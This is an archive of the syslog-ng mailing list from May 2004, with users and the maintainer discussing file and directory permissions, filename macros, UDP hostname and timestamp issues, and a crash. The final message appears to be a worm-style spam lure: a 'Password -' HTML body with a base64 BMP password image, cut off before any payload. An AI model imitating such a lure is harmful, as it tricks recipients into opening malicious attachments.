>=20 > thanks for the report, this patch should be the real solution: >=20 > diff -u -r1.4.4.4 macros.c ... From syslog-ng@lists.balabit.hu Thu May 20 03:18:09 2004 From: syslog-ng@lists.balabit.hu (Philip Webster) Date: Thu, 20 May 2004 12:18:09 +1000 Subject: [syslog-ng]syslog-ng & Directory Creation Message-ID: <40AC1561.8020104@hotpop.com> Hello, I've just changed the owner for new files created by syslog-ng to be someone other than root, but new directories are still owned by root. The relevant configuration is: destination dst_hosts { file("/path/to/logs/$HOST/$YEAR-$MONTH-$DAY" template("$FULLDATE $FULLHOST $FACILITY.$PRIORITY $MSG\n") owner(loguser) group(loguser) perm(0600) dir_perm(0700) create_dirs(yes)); I've tried placing the create_dirs() directive before the owner() directive, but with no change in the result. The owner of the top-level directory (/path/to/logs) is also loguser. All files are created with the correct owner and group. syslog-ng version is 1.6.3. Is there anything I am doing wrong? Thanks Phil From syslog-ng@lists.balabit.hu Thu May 20 10:42:25 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 20 May 2004 11:42:25 +0200 Subject: [syslog-ng]syslog-ng & Directory Creation In-Reply-To: <40AC1561.8020104@hotpop.com> References: <40AC1561.8020104@hotpop.com> Message-ID: <1085046145.572.16.camel@bzorp.balabit> 2004-05-20, cs keltezéssel 04:18-kor Philip Webster ezt írta: > Hello, > > I've just changed the owner for new files created by syslog-ng to be someone > other than root, but new directories are still owned by root. The relevant > configuration is: > > destination dst_hosts { > file("/path/to/logs/$HOST/$YEAR-$MONTH-$DAY" > template("$FULLDATE $FULLHOST $FACILITY.$PRIORITY $MSG\n") > owner(loguser) group(loguser) perm(0600) dir_perm(0700) > create_dirs(yes)); > > I've tried placing the create_dirs() directive before the owner() directive, > but with no change in the result. The owner of the top-level directory > (/path/to/logs) is also loguser. All files are created with the correct owner > and group. syslog-ng version is 1.6.3. > > Is there anything I am doing wrong? you need the dir_owner/dir_group/dir_perm options -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 20 14:23:22 2004 From: syslog-ng@lists.balabit.hu (Gehring, Andrew x66132) Date: Thu, 20 May 2004 09:23:22 -0400 Subject: [syslog-ng]Regex on destination/template Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_000_01C43E6D.9FFF42C0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="Windows-1252" Hello, I've been looking around, and can't seem to find anything related to = this... Is it possible to do a regex on a template within a destination? For example: My $MSG =3D "this is foo bar yadda yadda" All I want passed to the destination is the foo and anything beyond it = (foo bar yadda yadda). If not in the template, with another filter? Anywhere? Thanks, Andrew _ This message and any attachments are intended only for the use of the = addressee and may contain information that is privileged and confidential. If the = reader of the=20 message is not the intended recipient or an authorized representative of = the intended recipient, you are hereby notified that any dissemination of = this communication is strictly prohibited. If you have received this = communication in error, please notify us immediately by e-mail and delete the message and = any attachments from your system. ------_=_NextPart_000_01C43E6D.9FFF42C0 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IgwNAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQWAAwAOAAAA1AcFABQACQAXABYABAAuAQEggAMADgAAANQHBQAU AAkAFAALAAQAIAEBCYABACEAAABCNDA1MEQwQUUyRjA5MDQ4ODVEQzJDOTc5MDRCM0VGQQA5BwEE gAEAHgAAAFJlZ2V4IG9uIGRlc3RpbmF0aW9uL3RlbXBsYXRlAEULAQ2ABAACAAAAAgACAAEDkAYA FAcAADAAAAADAAlZAQAAAAsAT4AIIAYAAAAAAMAAAAAAAABGAAAAAIKFAAAAAAAAAwAAgAggBgAA AAAAwAAAAAAAAEYAAAAAUoUAAOOQAQAeAAGACCAGAAAAAADAAAAAAAAARgAAAABUhQAAAQAAAAUA AAAxMC4wAAAAAAsAD4AIIAYAAAAAAMAAAAAAAABGAAAAAAaFAAAAAAAAAwACgAggBgAAAAAAwAAA AAAAAEYAAAAAAYUAAAAAAAALAAOACCAGAAAAAADAAAAAAAAARgAAAAADhQAAAAAAAAsABIAIIAYA AAAAAMAAAAAAAABGAAAAAA6FAAAAAAAAAwAFgAggBgAAAAAAwAAAAAAAAEYAAAAAEIUAAAAAAAAD AAeACCAGAAAAAADAAAAAAAAARgAAAAAYhQAAAAAAAAIBCRABAAAAwAEAALwBAADSAgAATFpGdaHn o/sDAAoAcmNwZzEyNeIyA0N0ZXgFQQEDAff/CoACpAPkBxMCgA/zAFAEVj8IVQeyESUOUQMBAgBj aOEKwHNldDIGAAbDESX2MwRGE7cwEiwRMwjvCfe2OxgfDjA1ESIMYGMAUPMLCQFkMzYWUAumCuMK gGhIZWwXsCwc9Bz0SaAndmUgYgnhIBewZG9rC4BnIArACGBuTGQsH4Af0CBjAHAnAwVAFBBlbSB0 byCOZguAIDAAcHl0aB9SPxggC2AOsCAwIQEhsXMulyMAHbsEIGkFQHBvBBCuaQJgHqAhAWQhEGEi AbpnDsAgAiAlMQ6wbQtRPQ6wIAPwIbIlMQEAc3SrC4AiQGkCID8dukYFsSUOwGEmMWU6HbpNeQQg JAXgRyA9ICJfIsIkEAQgAhAhEGIKwXlYYWRkJUAr4yIdukG5HXAgSSaQAHAkMWEEEP8iZh6gJzkr Ii6yK2IgEiGH3R7AeQIgIDAkISgrbywQwikjLGYgbm8FQCbh/y6yJhYf8CaiIAE0MC7ABcBlITBs DrByPxDAIZB3FTYBZSfrVBPgbmtzqx2lNsBkGCB3Hbp9OhAeAHAAAQAAAB4AAABSZWdleCBvbiBk ZXN0aW5hdGlvbi90ZW1wbGF0ZQAAAAIBcQABAAAAGwAAAAHEPhFwbjsvLHhkGUAHqFqHKI5ZUSsA FutfoAADAC4AAAAAAAsAAgABAAAAHgBCEAEAAAAeAAAAPDQwQUMxNTYxLjgwMjAxMDRAaG90cG9w LmNvbT4AAAADAN4/n04AAAMA/T/kBAAAQAA5AMBC/59tPsQBAwDxPwkEAAAeADFAAQAAAAkAAABB R0VIUklORwAAAAADABpAAAAAAB4AMEABAAAACQAAAEFHRUhSSU5HAAAAAAMAGUAAAAAAAwAmAAAA AAADADYAAAAAAAMAgBD/////AwCSEAEAAAACAUcAAQAAADUAAABjPVVTO2E9IDtwPUFEUC1CSVNH O2w9U0lTRVhQTzAxLTA0MDUyMDEzMjMyMlotMjUwODM2AAAAAAIB+T8BAAAATAAAAAAAAADcp0DI wEIQGrS5CAArL+GCAQAAAAAAAAAvTz1BRFAtQklTRy9PVT1ERU5WRVIvQ049UkVDSVBJRU5UUy9D Tj1BR0VIUklORwAeAPg/AQAAABsAAABHZWhyaW5nLCBBbmRyZXcgICAgIHg2NjEzMgAAHgA4QAEA AAAJAAAAQUdFSFJJTkcAAAAAAgH7PwEAAABMAAAAAAAAANynQMjAQhAatLkIACsv4YIBAAAAAAAA AC9PPUFEUC1CSVNHL09VPURFTlZFUi9DTj1SRUNJUElFTlRTL0NOPUFHRUhSSU5HAB4A+j8BAAAA GwAAAEdlaHJpbmcsIEFuZHJldyAgICAgeDY2MTMyAAAeADlAAQAAAAkAAABBR0VIUklORwAAAABA AAcw/jj4n20+xAFAAAgwnIWeLW0+xAEeAD0AAQAAAAEAAAAAAAAAHgAdDgEAAAAeAAAAUmVnZXgg b24gZGVzdGluYXRpb24vdGVtcGxhdGUAAAAeADUQAQAAADkAAAA8REE1RTc2QzIxRkVBODU0NTlC MEU5NTlDRkFDMjM3ODIwMTdDQzU5N0BzaXNleHBvMDEuc2lzPgAAAAALACkAAAAAAAsAIwAAAAAA AwAGEGzu8ocDAAcQJQEAAAMAEBAAAAAAAwAREAAAAAAeAAgQAQAAAGUAAABIRUxMTyxJVkVCRUVO TE9PS0lOR0FST1VORCxBTkRDQU5UU0VFTVRPRklOREFOWVRISU5HUkVMQVRFRFRPVEhJU0lTSVRQ T1NTSUJMRVRPRE9BUkVHRVhPTkFURU1QTEFURVdJAAAAAAIBfwABAAAAOQAAADxEQTVFNzZDMjFG RUE4NTQ1OUIwRTk1OUNGQUMyMzc4MjAxN0NDNTk3QHNpc2V4cG8wMS5zaXM+AAAAAM93 ------_=_NextPart_000_01C43E6D.9FFF42C0-- From syslog-ng@lists.balabit.hu Thu May 20 23:31:34 2004 From: syslog-ng@lists.balabit.hu (Cary, Kim) Date: Thu, 20 May 2004 15:31:34 -0700 Subject: [syslog-ng]MacOS (Darwin) problem with dynamic file naming Message-ID: <72DC41AE-AAAD-11D8-ACB3-000A95EECF30@pepperdine.edu> Thanks to the schooling (particulars and tools) from Jeremy Mates we now have syslog-ng running. Thanks Jeremy! destination std { file("/Volumes/syslog/syslog-ng/$HOST/$YEAR/$MONTH/$DAY/ $FACILITY_$HOST_$YEAR_$MONTH_$DAY" create_dirs(yes) owner("root") group("secsyslogs") perm(0640) dir_perm(0750) ); Produces files name after the DAY only; all the directories are present and autocreated, but facilty, host, year, month are missing from the file name. As this seems to be a common example, I'm wondering if there is a problem with the system or something in the context of the conf file that I have set wrong. May I have a pointer to investigate from the list members? Regards, Kim From syslog-ng@lists.balabit.hu Fri May 21 01:17:53 2004 From: syslog-ng@lists.balabit.hu (Philip Webster) Date: Fri, 21 May 2004 10:17:53 +1000 Subject: [syslog-ng]syslog-ng & Directory Creation In-Reply-To: <1085046145.572.16.camel@bzorp.balabit> References: <40AC1561.8020104@hotpop.com> <1085046145.572.16.camel@bzorp.balabit> Message-ID: <40AD4AB1.2060606@hotpop.com> Bazsi, Balazs Scheidler wrote: > 2004-05-20, cs keltezéssel 04:18-kor Philip Webster ezt írta: > >>Hello, >> >>I've just changed the owner for new files created by syslog-ng to be someone >>other than root, but new directories are still owned by root. The relevant >>configuration is: >> >>destination dst_hosts { >> file("/path/to/logs/$HOST/$YEAR-$MONTH-$DAY" >> template("$FULLDATE $FULLHOST $FACILITY.$PRIORITY $MSG\n") >> owner(loguser) group(loguser) perm(0600) dir_perm(0700) >> create_dirs(yes)); >> >>I've tried placing the create_dirs() directive before the owner() directive, >>but with no change in the result. The owner of the top-level directory >>(/path/to/logs) is also loguser. All files are created with the correct owner >>and group. syslog-ng version is 1.6.3. >> >>Is there anything I am doing wrong? > > > you need the dir_owner/dir_group/dir_perm options Works perfectly! Thank you. Phil From syslog-ng@lists.balabit.hu Fri May 21 01:46:37 2004 From: syslog-ng@lists.balabit.hu (Jeremy Mates) Date: Thu, 20 May 2004 17:46:37 -0700 Subject: [syslog-ng]Re: MacOS (Darwin) problem with dynamic file naming In-Reply-To: <72DC41AE-AAAD-11D8-ACB3-000A95EECF30@pepperdine.edu> References: <72DC41AE-AAAD-11D8-ACB3-000A95EECF30@pepperdine.edu> Message-ID: <20040521004637.GR42296@darkness.sial.org> * Cary, Kim > file("/Volumes/syslog/syslog-ng/$HOST/$YEAR/$MONTH/$DAY/ > $FACILITY_$HOST_$YEAR_$MONTH_$DAY" Odds are the _ is being included in the variable name matching. I have not had problems using hyphens instead of underscores in filenames. From syslog-ng@lists.balabit.hu Fri May 21 02:40:24 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Thu, 20 May 2004 21:40:24 -0400 Subject: [syslog-ng]UDP messages logged with localhost In-Reply-To: <006701c43dc0$c4dd2920$2353a8c0@klap02> Message-ID: <002501c43ed4$9a2dfaf0$2353a8c0@klap02> OK, so let's try one problem at time;-) When logging udp message the "host" tag is being listed as local host = and the time is incorrect. Here is a sample of two different syslog runs. = One with syslog-ng 1.6.4 and one with the native OpenBSD 3.5 syslogd. The = host "logger01" is the name of the localhost, not a reverse of 172.16.10.20. Also these runs were taken seconds apart yet the timestamps are 11 hours apart. Any insight would be appreciated. ...running syslog-ng=20 May 19 00:35:29 logger01 %PIX-4-106023: Deny udp src = outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside_access_in"=20 May 19 00:36:29 logger01 %PIX-4-106023: Deny udp src = outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside_access_in" =20 ...running syslogd on OpenBSD 3.5-stable/sparc64 May 19 11:36:53 172.16.10.20 May 19 2004 00:33:29: %PIX-4-106023: Deny = udp src outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group = "outside _access_in"=20 May 19 11:37:02 172.16.10.20 May 19 2004 00:33:39: %PIX-4-106023: Deny = udp src outside:210.12.158.85/1243 dst inside:10.1.2.15/1434 by access-group "outside_access_in"=20 # syslog-ng configuration file. # # See syslog-ng(8) and syslog-ng.conf(5) for more information. # # 20000925 gb@sysfive.com options { sync (0); time_reopen (10); log_fifo_size (1000); keep_hostname (yes); long_hostnames (off); use_dns (no); use_fqdn (no); create_dirs (no); keep_hostname (yes); }; source s_sys { unix-dgram ("/dev/log"); internal(); file ("/dev/klog"); = }; source s_udp { udp (); }; destination d_cons { file("/dev/console"); }; destination d_mesg { file("/var/log/messages"); }; destination d_auth { file("/var/log/authlog"); }; destination d_authp { file("/var/log/secure"); }; destination d_cron { file("/var/cron/log"); }; destination d_daem { file("/var/log/daemon"); }; destination d_ftp { file("/var/log/xferlog"); }; destination d_lpr { file("/var/log/lpd-errs"); }; destination d_mail { file("/var/log/maillog"); }; destination d_spol { file("/var/log/uucp"); }; destination d_mlal { usertty("*"); }; destination d_root { usertty("root"); }; destination d_trap { file("/var/log/snmptraps"); }; destination d_cisco { file("/var/log/cisco"); }; destination d_catchudp { file("/var/log/systems/catchudp.log"); }; destination d_catchsys { file("/var/log/catchsys.log"); }; filter f_kern { facility(kern); }; filter f_mesg { level(info..emerg) and not facility(mail, auth, authpriv, ftp, lpr,local0, local7)and not filter(f_croner) and not facility(daemon) and level(info); }; filter f_auth { facility(auth); }; filter f_authp { facility(authpriv); }; filter f_cron { facility(cron); }; filter f_mail { facility(mail); }; filter f_daem { facility(daemon); }; filter f_ftp { facility(ftp); }; filter f_lpr { facility(lpr); }; filter f_mail { facility(mail); }; filter f_emerg { level(emerg); }; filter f_spol { facility(uucp) or (facility(news) and level(crit)); }; filter f_trap { facility(local0); }; filter f_cisco { facility(local7); }; filter f_swatch { level(info..emerg); }; #log { source(s_sys); filter(f_kern); destination(d_cons); }; log { source(s_sys); filter(f_kern); destination(d_mesg); }; log { source(s_sys); filter(f_mesg); destination(d_mesg); }; log { source(s_sys); filter(f_auth); destination(d_auth); }; log { source(s_sys); filter(f_mail); destination(d_mail); }; log { source(s_sys); filter(f_emerg); destination(d_mlal); }; log { source(s_sys); filter(f_spol); destination(d_spol); }; log { source(s_sys); filter(f_cron); destination(d_cron); }; log { source(s_sys); filter(f_trap); destination(d_trap); }; log { source(s_udp); filter(f_cisco); destination(d_cisco); }; log { source(s_sys); filter(f_swatch); destination(d_catchsys); }; From syslog-ng@lists.balabit.hu Fri May 21 03:39:32 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Thu, 20 May 2004 22:39:32 -0400 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable In-Reply-To: <006701c43dc0$c4dd2920$2353a8c0@klap02> Message-ID: <003601c43edc$d8fef010$2353a8c0@klap02> Steven S. wrote: Something still seems not quite right in macros.c. "Syslog-ng -F" core dumps after doing: 28992 syslog-ng CALL getpid 28992 syslog-ng RET getpid 28992/0x7140 28992 syslog-ng CALL gettimeofday(0xffffffffff7fed10,0) 28992 syslog-ng RET gettimeofday 0 Over and over again. "Syslog-ng -d" works fine and "syslog-ng" just dies. Any thoughts on where I could look? Thanks. -Steve S. > root@logger01 [/root]# gdb /usr/local/sbin/syslog-ng syslog-ng.core > GNU gdb 4.16.1 Copyright 1996 Free Software Foundation, Inc. GDB is > free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain > conditions. Type "show copying" to see the conditions. There is > absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "sparc64-unknown-openbsd3.5"... Core was > generated by `syslog-ng'. Program terminated with signal 11, > Segmentation fault. Couldn't read input and local registers from core > file Couldn't read input and local registers from core file #0 > 0x114d48 in werror () at macros.c:104 104 return l; (gdb) > > And here is an obnoxiously long ktrace output when running with no > flags... > From syslog-ng@lists.balabit.hu Fri May 21 18:04:43 2004 From: syslog-ng@lists.balabit.hu (Bobby Johnson) Date: Fri, 21 May 2004 11:04:43 -0600 Subject: [syslog-ng]UDP messages logged with localhost In-Reply-To: <002501c43ed4$9a2dfaf0$2353a8c0@klap02> References: <006701c43dc0$c4dd2920$2353a8c0@klap02> <002501c43ed4$9a2dfaf0$2353a8c0@klap02> Message-ID: <20040521110443.4f6e153b@pos.plexuspos> The time difference could be the hardware clock or local system. Is either syslog chrooted? I had this problem with apache. I needed to put something into the chrooted dir. Some libraries or the date command? I don't remember. Bobby On Thu, 20 May 2004 21:40:24 -0400 "Steven S." wrote: > OK, so let's try one problem at time;-) > > When logging udp message the "host" tag is being listed as local host and > the time is incorrect. Here is a sample of two different syslog runs. One > with syslog-ng 1.6.4 and one with the native OpenBSD 3.5 syslogd. The host > "logger01" is the name of the localhost, not a reverse of 172.16.10.20. > Also these runs were taken seconds apart yet the timestamps are 11 hours > apart. > > Any insight would be appreciated. > > ...running syslog-ng > May 19 00:35:29 logger01 %PIX-4-106023: Deny udp src outside:4.4.6.15/57112 > dst inside:10.1.2.16/514 by access-group "outside_access_in" > May 19 00:36:29 logger01 %PIX-4-106023: Deny udp src outside:4.4.6.15/57112 > dst inside:10.1.2.16/514 by access-group "outside_access_in" > > ...running syslogd on OpenBSD 3.5-stable/sparc64 > May 19 11:36:53 172.16.10.20 May 19 2004 00:33:29: %PIX-4-106023: Deny udp > src outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside > _access_in" > May 19 11:37:02 172.16.10.20 May 19 2004 00:33:39: %PIX-4-106023: Deny udp > src outside:210.12.158.85/1243 dst inside:10.1.2.15/1434 by access-group > "outside_access_in" > > # syslog-ng configuration file. > # > # See syslog-ng(8) and syslog-ng.conf(5) for more information. > # > # 20000925 gb@sysfive.com > > options { sync (0); > time_reopen (10); > log_fifo_size (1000); > keep_hostname (yes); > long_hostnames (off); > use_dns (no); > use_fqdn (no); > create_dirs (no); > keep_hostname (yes); > }; > > source s_sys { unix-dgram ("/dev/log"); internal(); file ("/dev/klog"); }; > source s_udp { udp (); }; > > destination d_cons { file("/dev/console"); }; > destination d_mesg { file("/var/log/messages"); }; > destination d_auth { file("/var/log/authlog"); }; > destination d_authp { file("/var/log/secure"); }; > destination d_cron { file("/var/cron/log"); }; > destination d_daem { file("/var/log/daemon"); }; > destination d_ftp { file("/var/log/xferlog"); }; > destination d_lpr { file("/var/log/lpd-errs"); }; > destination d_mail { file("/var/log/maillog"); }; > destination d_spol { file("/var/log/uucp"); }; > destination d_mlal { usertty("*"); }; > destination d_root { usertty("root"); }; > destination d_trap { file("/var/log/snmptraps"); }; > destination d_cisco { file("/var/log/cisco"); }; > destination d_catchudp { file("/var/log/systems/catchudp.log"); }; > destination d_catchsys { file("/var/log/catchsys.log"); }; > > filter f_kern { facility(kern); }; > filter f_mesg { level(info..emerg) and not > facility(mail, auth, authpriv, ftp, lpr,local0, > local7)and not > filter(f_croner) and not > facility(daemon) and level(info); }; > filter f_auth { facility(auth); }; > filter f_authp { facility(authpriv); }; > filter f_cron { facility(cron); }; > filter f_mail { facility(mail); }; > filter f_daem { facility(daemon); }; > filter f_ftp { facility(ftp); }; > filter f_lpr { facility(lpr); }; > filter f_mail { facility(mail); }; > filter f_emerg { level(emerg); }; > filter f_spol { facility(uucp) or > (facility(news) and > level(crit)); }; > filter f_trap { facility(local0); }; > filter f_cisco { facility(local7); }; > filter f_swatch { level(info..emerg); }; > > #log { source(s_sys); filter(f_kern); destination(d_cons); }; > log { source(s_sys); filter(f_kern); destination(d_mesg); }; > log { source(s_sys); filter(f_mesg); destination(d_mesg); }; > log { source(s_sys); filter(f_auth); destination(d_auth); }; > log { source(s_sys); filter(f_mail); destination(d_mail); }; > log { source(s_sys); filter(f_emerg); destination(d_mlal); }; > log { source(s_sys); filter(f_spol); destination(d_spol); }; > log { source(s_sys); filter(f_cron); destination(d_cron); }; > log { source(s_sys); filter(f_trap); destination(d_trap); }; > log { source(s_udp); filter(f_cisco); destination(d_cisco); }; > log { source(s_sys); filter(f_swatch); destination(d_catchsys); }; > > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > From syslog-ng@lists.balabit.hu Fri May 21 20:29:00 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Fri, 21 May 2004 15:29:00 -0400 Subject: [syslog-ng]UDP messages logged with localhost In-Reply-To: <20040521110443.4f6e153b@pos.plexuspos> Message-ID: <002a01c43f69$e2aab210$2353a8c0@klap02> Whoops! I forgot to mention that timestamps for local messages (i.e. non-udp) are correct. Only those timestamps received via the network seem wrong. -Steve S. Bobby Johnson wrote: > The time difference could be the hardware clock or local system. Is > either syslog chrooted? I had this problem with apache. I needed to > put something into the chrooted dir. Some libraries or the date > command? I don't remember. > > Bobby > > > On Thu, 20 May 2004 21:40:24 -0400 > "Steven S." wrote: > >> OK, so let's try one problem at time;-) >> >> When logging udp message the "host" tag is being listed as local host >> and the time is incorrect. Here is a sample of two different syslog >> runs. One with syslog-ng 1.6.4 and one with the native OpenBSD 3.5 >> syslogd. The host "logger01" is the name of the localhost, not a >> reverse of 172.16.10.20. Also these runs were taken seconds apart yet >> the timestamps are 11 hours apart. >> >> Any insight would be appreciated. >> >> ...running syslog-ng >> May 19 00:35:29 logger01 %PIX-4-106023: Deny udp src >> outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group >> "outside_access_in" >> May 19 00:36:29 logger01 %PIX-4-106023: Deny udp src >> outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group >> "outside_access_in" >> >> ...running syslogd on OpenBSD 3.5-stable/sparc64 >> May 19 11:36:53 172.16.10.20 May 19 2004 00:33:29: %PIX-4-106023: >> Deny >> udp src outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by >> access-group "outside _access_in" May 19 11:37:02 172.16.10.20 May 19 >> 2004 00:33:39: %PIX-4-106023: Deny udp src outside:210.12.158.85/1243 >> dst inside:10.1.2.15/1434 by access-group "outside_access_in" >> From syslog-ng@lists.balabit.hu Fri May 21 23:54:14 2004 From: syslog-ng@lists.balabit.hu (Dian HiWi) Date: Sat, 22 May 2004 00:54:14 +0200 Subject: [syslog-ng]UDP messages not logged References: <002a01c43f69$e2aab210$2353a8c0@klap02> Message-ID: <010501c43f86$89bd5230$23500d81@rz.unikarlsruhe.de> Hi! I am new to syslog-ng. I tried to configure the daemon, obviously not with great success. I will past the part form my .conf file and would like to ask, why isn't the logging working. #I have enabled this option. source src { unix-dgram("/dev/log"); internal(); file("/proc/kmsg" log_prefix(" kernel: ")); udp( port(514) ); }; #A new destination destination local0{ file("/var/log/test/syslog-net-$HOST/$DAY$MONTH$YEAR/$FACILITY" owner("root") group("adm") perm (0600) dir_perm(0700) create_dirs(yes));}; filter loc_network{ facility(local0,local1,local2,local3,local4,local5,local6,local7);}; log { source(src);filter(f_syslog);filter(loc_network);destination(local0);}; As you' ve might seen, I try to get even every syslog message in the same dir, but it just doesn't works. Could it be a problem, that I haven't created the directory 'test' ? cheers Dian ------------------------------------------------------------- Windows 95/NT - 32 bit extensions and a graphical shell for a 16 bit patch to an 8 bit operating system originally coded for a 4 bit microprocessor, written by a 2 bit company that can't stand 1 bit of competition. From syslog-ng@lists.balabit.hu Sat May 22 00:25:28 2004 From: syslog-ng@lists.balabit.hu (Dian HiWi) Date: Sat, 22 May 2004 01:25:28 +0200 Subject: [syslog-ng]UDP messages not logged - PART 2 References: <002a01c43f69$e2aab210$2353a8c0@klap02> <010501c43f86$89bd5230$23500d81@rz.unikarlsruhe.de> Message-ID: <010d01c43f8a$e6e68400$23500d81@rz.unikarlsruhe.de> Hi again! I read some papers about syslog-ng facilities...and what I found out is..there are no local0-local7 facilities! Why? How can I handle messaegs from such facilities? My router (an Enterasys Matrix E1) syslogs with local0 ot local7. How can I handle his messages? cheers Dian P.S. I am running syslog-ng on Debian Woody / Linux 2.4.26 ------------------------------------------------------------- Windows 95/NT - 32 bit extensions and a graphical shell for a 16 bit patch to an 8 bit operating system originally coded for a 4 bit microprocessor, written by a 2 bit company that can't stand 1 bit of competition. From syslog-ng@lists.balabit.hu Sat May 22 13:54:18 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Sat, 22 May 2004 14:54:18 +0200 Subject: [syslog-ng]UDP messages not logged - PART 2 In-Reply-To: <010d01c43f8a$e6e68400$23500d81@rz.unikarlsruhe.de> References: <002a01c43f69$e2aab210$2353a8c0@klap02> <010501c43f86$89bd5230$23500d81@rz.unikarlsruhe.de> <010d01c43f8a$e6e68400$23500d81@rz.unikarlsruhe.de> Message-ID: <1085230458.4688.0.camel@bzorp.balabit> 2004-05-22, szo keltezéssel 01:25-kor Dian HiWi ezt írta: > Hi again! > I read some papers about syslog-ng facilities...and what I found out > is..there are no local0-local7 facilities! > Why? How can I handle messaegs from such facilities? My router (an Enterasys > Matrix E1) syslogs with local0 ot local7. > How can I handle his messages? of course there are local facilities. -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Sat May 22 16:41:36 2004 From: syslog-ng@lists.balabit.hu (Dian HiWi) Date: Sat, 22 May 2004 17:41:36 +0200 Subject: [syslog-ng]UDP messages not logged - PART 2 References: <002a01c43f69$e2aab210$2353a8c0@klap02> <010501c43f86$89bd5230$23500d81@rz.unikarlsruhe.de> <010d01c43f8a$e6e68400$23500d81@rz.unikarlsruhe.de> <1085230458.4688.0.camel@bzorp.balabit> Message-ID: <016d01c44013$45ab3160$23500d81@rz.unikarlsruhe.de> Sorry, my mistake. I got a manual, where no local facilities were mentioned. Cheers Dian P.S. I have configured syslog-ng already. It's working fine. Thanks! ----- Original Message ----- From: "Balazs Scheidler" To: Sent: Saturday, May 22, 2004 2:54 PM Subject: Re: [syslog-ng]UDP messages not logged - PART 2 > 2004-05-22, szo keltezéssel 01:25-kor Dian HiWi ezt írta: > > Hi again! > > I read some papers about syslog-ng facilities...and what I found out > > is..there are no local0-local7 facilities! > > Why? How can I handle messaegs from such facilities? My router (an Enterasys > > Matrix E1) syslogs with local0 ot local7. > > How can I handle his messages? > > of course there are local facilities. > > -- > Bazsi > PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 > > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > > From syslog-ng@lists.balabit.hu Tue May 25 10:23:26 2004 From: syslog-ng@lists.balabit.hu (Kaans) Date: Tue, 25 May 2004 14:53:26 +0530 Subject: [syslog-ng]Changes.. Message-ID: ----------zabepsllnpmxcdmofahj Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Password -

----------zabepsllnpmxcdmofahj Content-Type: image/bmp; name="fxcmtievgg.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="fxcmtievgg.bmp" Content-ID: Qk0WCAAAAAAAADYAAAAoAAAANwAAABIAAAABABAAAAAAAOAHAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9/KgMqA/9//3/dc3Iz KgNyM9tn/3//f/9/t1MqAyoDt1P/f/9//3//f/9/KgMqA/9//3//f7dTKgMqA7dT/3//f/9/ /3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9//3//fyoDKgP/f/9/ tksqA91z2mMqA9xv/3+3UyoD2mPbayoDt1P/f/9//3//fyoDKgP/f/9/uV8qA9pj3G8qA7dT /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//38qAyoD /3//f/9//3//f/9/KgO2S/9/KgMqA/9//38qAyoD/38qAyoDKgMqAyoDKgP/f5Q/KgP/f/9/ KgMqA/9//3//f/9//3//f/9//3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9/ KgMqA/9//3//f/9//3//fyoDcCf/f3AnKgP/f/9/KgMqA/9/lUfbZ/9/KgMqA/9//38qAyoD /3//fyoDKgP/f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9//3//f/9/ /3//fyoDKgP/f/9//3+VRyoDlUdyMyoD/3+4VyoD22vbZyoDuFf/f9trlUf/fyoDKgP/f/9/ 